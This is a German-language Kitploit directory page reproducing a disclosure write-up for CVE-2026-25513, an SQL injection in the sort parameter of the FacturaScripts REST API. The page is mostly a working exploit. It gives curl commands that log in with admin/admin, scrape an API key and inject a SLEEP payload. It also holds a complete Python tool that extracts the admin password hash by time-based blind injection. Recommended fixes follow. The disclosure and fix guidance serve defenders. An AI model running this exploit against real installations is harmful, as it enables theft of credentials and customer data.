Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25513 — CVE-2026-25513 - FacturaScripts hat eine SQL-Injection in der ORDER BY-Klausel der API. | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2026-25513
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHublukasz-rybak/cve-2026-25513

CVE-2026-25513

CVE-2026-25513 - FacturaScripts hat eine SQL-Injection in der ORDER BY-Klausel der API.

Repository anzeigen
2vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25513: SQL-Injection in der ORDER-BY-Klausel der API von FacturaScripts

Übersicht

FeldDetails
CVE-IDCVE-2026-25513
SchweregradHOCH
AdvisoryAdvisory ansehen
Entdeckt vonLukasz Rybak

Betroffene Produkte

  • facturascripts/facturascripts (Versionen: < 2025.81)

CWE-Klassifizierung

  • CWE-20: Unzureichende Eingabevalidierung
  • CWE-89: Unzureichende Neutralisierung spezieller Elemente in einem SQL-Befehl ('SQL Injection')
  • CWE-943: Unzureichende Neutralisierung spezieller Elemente in der Datenabfragelogik
  • CWE-1286: Unzureichende Validierung der syntaktischen Korrektheit von Eingaben

Details

Zusammenfassung

FacturaScripts enthält eine kritische SQL-Injection-Schwachstelle in der REST-API, die es authentifizierten API-Benutzern ermöglicht, über den Parameter sort beliebige SQL-Abfragen auszuführen. Die Schwachstelle befindet sich in der Methode ModelClass::getOrderBy(), bei der benutzergelieferte Sortierparameter ohne Validierung oder Bereinigung direkt in die SQL-ORDER-BY-Klausel eingefügt werden. Dies betrifft alle API-Endpunkte, die Sortierfunktionen unterstützen.


Details

Die FacturaScripts-REST-API stellt Datenbankmodelle über verschiedene Endpunkte bereit (z. B. /api/3/users, /api/3/attachedfiles, /api/3/customers). Diese Endpunkte unterstützen einen Parameter sort, mit dem Clients die Reihenfolge der Ergebnisse festlegen können. Die API verarbeitet diesen Parameter über die Methode ModelClass::all(), die die anfällige Funktion getOrderBy() aufruft.

Anfällige Codestellen

1. Legacy-Modelle: Datei: /Core/Model/Base/ModelClass.php Methode: getOrderBy() Direkte Verkettung von Schlüsseln und Werten aus dem $order-Array.

2. Moderne Modelle (DbQuery): Datei: /Core/DbQuery.php Methode: orderBy() Zeilen: 255-259

root@kitploit:~
        // If it contains parentheses, it is not escaped (VULNERABILITY!)
        if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
            $this->orderBy[] = $field . ' ' . $order;
            return $this;
        }

Diese Prüfung soll SQL-Funktionen ermöglichen, validiert sie aber nicht, sodass beliebige SQL-Injection möglich ist.


Proof of Concept (PoC)

Voraussetzungen

  • Gültiges API-Authentifizierungstoken (X-Auth-Token-Header)
  • Zugriff auf die API-Endpunkte von FacturaScripts

Schritt-für-Schritt-Verifizierung (CLI)

Da FacturaScripts einen vorhandenen API-Schlüssel voraussetzt, melden wir uns zunächst über die Weboberfläche an, um einen gültigen Schlüssel zu finden.

1. Anmelden und einen gültigen API-Schlüssel abrufen: Wir behandeln das CSRF-Token und die Sitzungscookies, um auf die Einstellungen zuzugreifen und den ersten verfügbaren Schlüssel abzurufen.

root@kitploit:~
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"

# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)

# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"

2. Zeitbasierte SQL-Injection verifizieren: Verwenden Sie den extrahierten API_KEY im X-Auth-Token-Header.

root@kitploit:~
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"

# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
  "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"

Erwartetes Ergebnis: Die injizierte Anfrage wird deutlich länger dauern (die Verzögerung hängt von den Datensätzen in der Datenbank ab), was die SQL-Injection bestätigt.


Automatisiertes Exploitation-Tool

Dieses Skript meldet sich automatisch bei FacturaScripts an, ruft einen gültigen API-Schlüssel ab und führt mithilfe zeitbasierter Blind-SQL-Injection eine fallunterscheidende Datenextraktion durch.

root@kitploit:~
import requests
import time
import string
import re

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"

session = requests.Session()

def get_token(url):
    """Extract multireqtoken from any page"""
    res = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
    return match.group(1) if match else None

def get_api_key():
    """Logs in and retrieves the first active API key dynamically"""
    print(f"[*] Logging in as {USERNAME}...")
    
    # 1. Login flow
    token = get_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get initial CSRF token")
        return None
        
    login_data = {
        "fsNick": USERNAME,
        "fsPassword": PASSWORD,
        "action": "login",
        "multireqtoken": token
    }
    res = session.post(f"{BASE_URL}/login", data=login_data)
    if "Dashboard" not in res.text:
        print("[!] Login failed!")
        return None
    print("[+] Login successful.")

    # 2. Retrieve API Key ID from settings
    print("[*] Accessing API settings...")
    res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
    id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
    if not id_match:
        print("[!] No API keys found in system!")
        return None
    
    api_id = id_match.group(1)
    
    # 3. Get the actual API key string
    print(f"[*] Retrieving API key for ID {api_id}...")
    res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
    key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
    if not key_match:
        print("[!] Failed to extract API key from page!")
        return None
        
    return key_match.group(1)

def time_based_sqli(api_key, payload):
    """Execute time-based SQL injection and measure response time"""
    headers = {"X-Auth-Token": api_key}
    params = {
        'limit': 1,
        f'sort[{payload}]': 'ASC'
    }
    start = time.time()
    try:
        requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
    except requests.exceptions.ReadTimeout:
        return 10.0
    except:
        pass
    return time.time() - start

def extract_data(api_key, query, length=60):
    """Extracts data char by char using time-based blind SQLi"""
    extracted = ""
    charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
    
    print(f"[*] Starting extraction for query: {query}")
    for i in range(1, length + 1):
        found = False
        for char in charset:
            # Added BINARY to force case-sensitive comparison
            payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
            elapsed = time_based_sqli(api_key, payload)
            
            if elapsed >= 2.0:
                extracted += char
                print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                found = True
                break
        if not found:
            break
    return extracted

def main():
    print("="*60)
    print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
    print("="*60)

    # 1. Get API Key dynamically
    api_key = get_api_key()
    if not api_key:
        return
    print(f"[+] Using API Key: {api_key}")

    # 2. Verify vulnerability
    print("[*] Verifying vulnerability...")
    if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
        print("[+] System is VULNERABLE!")
    else:
        print("[-] System not vulnerable or API key invalid.")
        return

    # 3. Extract Admin Password Hash
    admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
    print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")

if __name__ == "__main__":
    main()
Bild

Auswirkungen

Vertraulichkeit der Daten

  • Vollständige Offenlegung der Datenbank durch Blind-SQL-Injection-Techniken
  • Extraktion sensibler Daten, darunter:
    • Benutzeranmeldedaten und API-Schlüssel
    • Personenbezogene Daten (PII) von Kunden
    • Finanzunterlagen und Transaktionsdaten
    • Geschäftsinformationen und Preisinformationen
    • Systemkonfiguration und Geheimnisse

Wer ist betroffen?

  • Organisationen, die die FacturaScripts-API für Integrationen nutzen
  • Mobile Apps und Drittanbieter-Integrationen, die die API verwenden
  • Alle Benutzer, deren Daten über die API zugänglich sind
  • Geschäftspartner mit API-Zugriff

Empfohlener Fix

Sofortmaßnahmen

Option 1: Strenge Whitelist-Validierung implementieren (empfohlen)

root@kitploit:~
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()

private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    // Get valid column names from model
    $validColumns = array_keys(static::getModelFields());

    foreach ($order as $key => $value) {
        // Validate column name against whitelist
        if (!in_array($key, $validColumns, true)) {
            throw new \Exception('Invalid column name for sorting: ' . $key);
        }

        // Validate sort direction (must be ASC or DESC)
        $value = strtoupper(trim($value));
        if (!in_array($value, ['ASC', 'DESC'], true)) {
            throw new \Exception('Invalid sort direction: ' . $value);
        }

        // Escape column name
        $safeColumn = self::$dataBase->escapeColumn($key);
        $result .= $coma . $safeColumn . ' ' . $value;
        $coma = ', ';
    }

    return $result;
}

Option 2: Datenbank-Escaping-Funktionen verwenden

root@kitploit:~
private static function getOrderBy(array $order): string
{
    $result = '';
    $coma = ' ORDER BY ';

    foreach ($order as $key => $value) {
        // Escape identifiers and validate direction
        $safeColumn = self::$dataBase->escapeColumn($key);
        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
            ? strtoupper($value)
            : 'ASC';

        $result .= $coma . $safeColumn . ' ' . $safeDirection;
        $coma = ', ';
    }

    return $result;
}

Option 3: Query-Builder-Muster verwenden

root@kitploit:~
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
    $query = self::table();

    // Apply WHERE conditions
    foreach ($where as $condition) {
        $query->where($condition);
    }

    // Apply ORDER BY with validation
    foreach ($order as $column => $direction) {
        if (!array_key_exists($column, static::getModelFields())) {
            continue; // Skip invalid columns
        }
        $query->orderBy($column, $direction);
    }

    return $query->offset($offset)->limit($limit)->get();
}

Best Practices für API-Sicherheit

root@kitploit:~
// Add to API configuration
$config = [
    'max_sort_fields' => 3,  // Limit number of sort fields
    'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
    'default_sort' => 'id ASC',  // Safe default
];

Danksagungen

Entdeckt von: Łukasz Rybak

Referenzen

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
  • https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25513
  • https://github.com/advisories/GHSA-cjfx-qhwm-hf99

Haftungsausschluss

Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken (Coordinated Vulnerability Disclosure) verantwortungsvoll offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.

Tool herunterladen